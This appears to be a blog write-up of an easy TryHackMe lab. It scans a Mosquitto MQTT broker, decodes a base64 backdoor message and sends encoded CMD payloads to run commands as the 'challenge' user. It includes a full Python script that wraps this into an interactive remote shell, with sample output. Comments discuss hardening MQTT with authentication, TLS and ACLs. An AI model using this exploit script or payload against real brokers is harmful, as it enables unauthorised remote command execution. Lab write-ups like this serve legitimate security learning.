Machine Info
Difficulty: Easy🟩
Link:Â HERE
Avg time: 30 Minutes
OS: Linux
Description:Â John likes to live in a very Internet connected world. Maybe too connected...
Recon
Casually nmap scan.
sudo nmap 10.113.164.28 -p- -sCV -T4 -Pn -oN ~/workplace/scan.txt
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-23 02:32 +0200
Nmap scan report for 10.113.164.28
Host is up (0.029s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b0:89:bd:c2:1b:8a:8d:fc:f6:64:16:12:0e:08:16:11 (RSA)
| 256 66:2f:6b:ec:c0:4a:9e:08:fa:0b:f9:03:cd:92:f8:cc (ECDSA)
|_ 256 4c:9a:01:15:4f:4f:75:01:ff:57:62:41:a6:89:1c:ef (ED25519)
1883/tcp open mosquitto version 2.0.14
| mqtt-subscribe:
| Topics and their most recent payloads:
| $SYS/broker/store/messages/bytes: 177
| $SYS/broker/clients/connected: 2
| $SYS/broker/retained messages/count: 36
| $SYS/broker/load/sockets/1min: 1.83
| $SYS/broker/load/messages/sent/5min: 95.03
| $SYS/broker/publish/bytes/received: 228342
| $SYS/broker/version: mosquitto version 2.0.14
| $SYS/broker/load/messages/received/15min: 89.46
| $SYS/broker/messages/sent: 6868
| patio/lights: {"id":11755677006591694699,"color":"GREEN","status":"ON"}
| $SYS/broker/bytes/received: 319850
| $SYS/broker/clients/active: 2
| $SYS/broker/subscriptions/count: 5
| frontdeck/camera: {"id":789304357860233507,"yaxis":-12.072189,"xaxis":171.99078,"zoom":4.5244155,"movement":false}
| $SYS/broker/load/bytes/received/15min: 4226.75
| $SYS/broker/load/bytes/sent/5min: 562.76
| $SYS/broker/bytes/sent: 32210
| storage/thermostat: {"id":17037084942699405769,"temperature":23.484484}
| $SYS/broker/load/bytes/sent/1min: 1304.53
| $SYS/broker/load/messages/received/5min: 90.12
| $SYS/broker/uptime: 4488 seconds
| livingroom/speaker: {"id":14650140576414647883,"gain":69}
| kitchen/toaster: {"id":15975653524494880000,"in_use":false,"temperature":152.00534,"toast_time":218}
| $SYS/broker/store/messages/count: 32
| $SYS/broker/publish/messages/sent: 123
| $SYS/broker/publish/bytes/sent: 854
| $SYS/broker/load/connections/5min: 0.39
| $SYS/broker/load/connections/15min: 0.13
| $SYS/broker/load/publish/sent/5min: 4.91
| $SYS/broker/load/sockets/15min: 0.13
| $SYS/broker/messages/stored: 32
| $SYS/broker/load/sockets/5min: 0.39
| $SYS/broker/load/publish/sent/15min: 1.68
| $SYS/broker/load/bytes/received/5min: 4230.13
| $SYS/broker/load/bytes/sent/15min: 426.98
| $SYS/broker/messages/received: 6747
| $SYS/broker/load/messages/received/1min: 90.86
| $SYS/broker/load/connections/1min: 1.83
| $SYS/broker/clients/total: 3
| $SYS/broker/load/bytes/received/1min: 4141.09
| $SYS/broker/load/publish/sent/1min: 22.84
| $SYS/broker/load/messages/sent/15min: 91.14
| $SYS/broker/clients/maximum: 3
|_ $SYS/broker/load/messages/sent/1min: 113.70
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.89 seconds
Scan reveals:
- 22/tcp - SSH
- 1883/tcp - mosquitto
What is Mosquitto
Mosquitto is a server that is used by smart devices that can subscribe/publish on a specific topic to communicate with each other. E.g. there's a thermometer in the kitchen and it publishes data every 5 minutes, and an app on the phone is subscribed to the topic the thermometer publishes to, so the application knows what the temperature in the kitchen is.
INFO: Kali should already have both tools for subscribing (mosquitto_sub) and for publishing (mosquitto_pub). If somehow they aren't installed, run
apt install mosquitto mosquitto-clients
Shell as challenge
Since mosquitto was available, I subscribed to all published topics.
mosquitto_sub -h 10.113.164.28 -t '#'
and there were a lot of dummy messages like:
{"id":15122353728767542796,"temperature":24.231682}
{"id":8039817158904867234,"in_use":true,"temperature":142.67894,"toast_time":336}
{"id":8388375464796309106,"yaxis":-42.711197,"xaxis":-72.87599,"zoom":3.0330994,"movement":false}
{"id":16442316455141432482,"gain":70}
{"id":7275756953611976182,"color":"GREEN","status":"OFF"}
{"id":2652959967142793679,"temperature":23.418367}
{"id":8623147950850008773,"gain":56}
{"id":8725725398376423612,"in_use":true,"temperature":144.76564,"toast_time":292}
{"id":14791679839639526134,"temperature":23.96474}
{"id":2231016179385581559,"color":"PURPLE","status":"ON"}
{"id":16572386828657677453,"yaxis":154.81708,"xaxis":138.99442,"zoom":2.9882195,"movement":true}
{"id":15299776299173523865,"gain":72}
but one thing stood out
eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==
At first glance, the ey prefix suggests it starts with {, and the == padding suggests it's Base64. After decoding, it turned out to be something like this:
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","registered_commands":["HELP","CMD","SYS"],"pub_topic":"U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub","sub_topic":"XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"}
What caught my eye was "registered_commands":["HELP","CMD","SYS"], and specifically CMD - that immediately screamed potential RCE, so I ran:
mosquitto_pub -h 10.113.164.28 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m '{"HELP"}'
And in another terminal, I set up a listener using:
mosquitto_sub -h 10.113.164.28 -t '#'
I caught this output:
SW52YWxpZCBtZXNzYWdlIGZvcm1hdC4KRm9ybWF0OiBiYXNlNjQoeyJpZCI6ICI8YmFja2Rvb3IgaWQ+IiwgImNtZCI6ICI8Y29tbWFuZD4iLCAiYXJnIjogIjxhcmd1bWVudD4ifSk=
after decoding:
base64({"id": "<backdoor id>", "cmd": "<command>", "arg": "<argument>"})
INFO: My message triggered a response, but not a successful one, the decoded base64 was actually the invalid format error, I just trimmed that part out of what I showed above. I didn't verify it, but any malformed message probably triggers the same error.
so I ran:
mosquitto_pub -h 10.113.164.28 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIgLCAiY21kIjoiQ01EIiAsICJhcmciOiJpZCJ9'
And it worked, returning:
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"uid=1000(challenge) gid=1000(challenge) groups=1000(challenge)\n"}
So at the time I had some time and was pretty bored, so I made a python script that converts this into an interactive RCE instead of repeatedly sending these messages.
import subprocess
import base64
import cmd
import json
import time
import sys
class MQTTExploit(cmd.Cmd):
prompt = '[$] '
intro = 'Shell is ready'
def __init__(self, target , pub_topic , sub_topic , exploit_id ):
super().__init__()
self.target: str = target
self.pub_topic: str = pub_topic
self.sub_topic: str = sub_topic
self.exploit_id: str = exploit_id
def _is_success(self, code: int) -> bool:
return code == 0
def _fix_padding(self, base64_string: str) -> str:
return base64_string + '=='
def send_payload(self) -> bool:
dict_template = {
"id": self.exploit_id ,
"cmd":"CMD" ,
"arg": self.command
}
result = subprocess.run(f"mosquitto_pub -h {self.target} -t {self.sub_topic} -m '{base64.b64encode(json.dumps(dict_template).encode()).decode()}'"
,capture_output=True , shell=True)
if self._is_success(result.returncode):
print("[+] Payload sent")
return True
print(f"[!] Something went wrong: {result.stderr}")
return False
def start_listener(self):
return subprocess.Popen(
f"mosquitto_sub -h {self.target} -t {self.pub_topic} -v -C 1",
stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True
)
def get_response(self, proc) -> str:
try:
stdout, stderr = proc.communicate(timeout=10)
except subprocess.TimeoutExpired:
proc.kill()
return "[!] Timeout!"
if self._is_success(proc.returncode):
response_json = base64.b64decode(self._fix_padding(stdout.removeprefix(f"{self.pub_topic} ")).encode()).decode()
return json.loads(response_json).get('response')
else:
return f"[!] Something went wrong: {stderr}"
def default(self, line):
self.command = line
proc = self.start_listener()
time.sleep(1)
if self.send_payload():
response = self.get_response(proc)
print(response)
else:
proc.kill()
try:
target: str = sys.argv[1]
pub_topic: str = sys.argv[2]
sub_topic: str = sys.argv[3]
backdoor_id: str = sys.argv[4]
except IndexError:
print("[!] Wrong amount of arguments")
print("[?] Use: python3 main.py TARGET PUB_TOPIC SUB_TOPIC ID")
sys.exit(1)
try:
exploit = MQTTExploit(target , pub_topic , sub_topic, backdoor_id)
exploit.cmdloop()
except KeyboardInterrupt:
print('\n[!] C+CTRL')
It was just to convert it into a prompt, it's not robust so it can fail, but in my case it works well, and the delay is on purpose so the topic gets published before the script tries to read it.
[$] ls -al
[+] Payload sent
total 32
drwxr-xr-x 1 challenge challenge 4096 Mar 22 2022 .
drwxr-xr-x 1 root root 4096 Mar 22 2022 ..
-rw------- 1 challenge challenge 28 Mar 22 2022 .bash_history
-rw-r--r-- 1 challenge challenge 220 Aug 4 2021 .bash_logout
-rw-r--r-- 1 challenge challenge 3526 Aug 4 2021 .bashrc
-rw-r--r-- 1 challenge challenge 807 Aug 4 2021 .profile
-rw-r--r-- 1 root root 39 Mar 21 2022 flag.txt
[$] cat flag.txt
[+] Payload sent
flag{REDACTED}
Also, I was tripping out and got confused because the names are switched.
Top comments (3)
The use of Mosquitto in this scenario highlights the importance of understanding IoT communication protocols. I noticed that the
nmapscan revealed the Mosquitto service running on port 1883, and the subsequent analysis showed various topics being published, such as$SYS/broker/clients/connectedandpatio/lights. This led me to think about potential vulnerabilities in the Mosquitto implementation, such as unauthorized access to published topics or the ability to publish malicious data to connected devices. Have you considered exploring the security implications of using Mosquitto in a smart home setup, and how one might go about exploiting or mitigating these vulnerabilities in a controlled environment like this TryHackMe challenge?Honestly I never thought about Mosquitto as an insecure protocol, mainly because I assumed the broker handled trust between publishers and subscribers somehow. In reality Mosquitto doesn't verify who connects or who publishes to a topic unless you explicitly configure authentication. The default config (allow_anonymous true) is what makes it insecure, not the protocol itself being flawed , it's a case of "secure but not by default". Since setting up auth requires manual config, a lot of real-world deployments just skip it.
Exploiting can be trivial as there's no auth by default , you can subscribe to any topic to read live data, or publish forged messages to control devices directly. As for mitigation, the standard hardening steps for Mosquitto/MQTT are: enable username/password authentication, use TLS for the connection so credentials and payloads aren't sent in plaintext, configure ACLs so clients can only access the topics they need, and don't expose the broker directly to the internet.
I don't remember other TryHackMe rooms that use MQTT as the main attack path or even as a side objective, you could try asking on the THM Discord
Some comments may only be visible to logged-in visitors. Sign in to view all comments.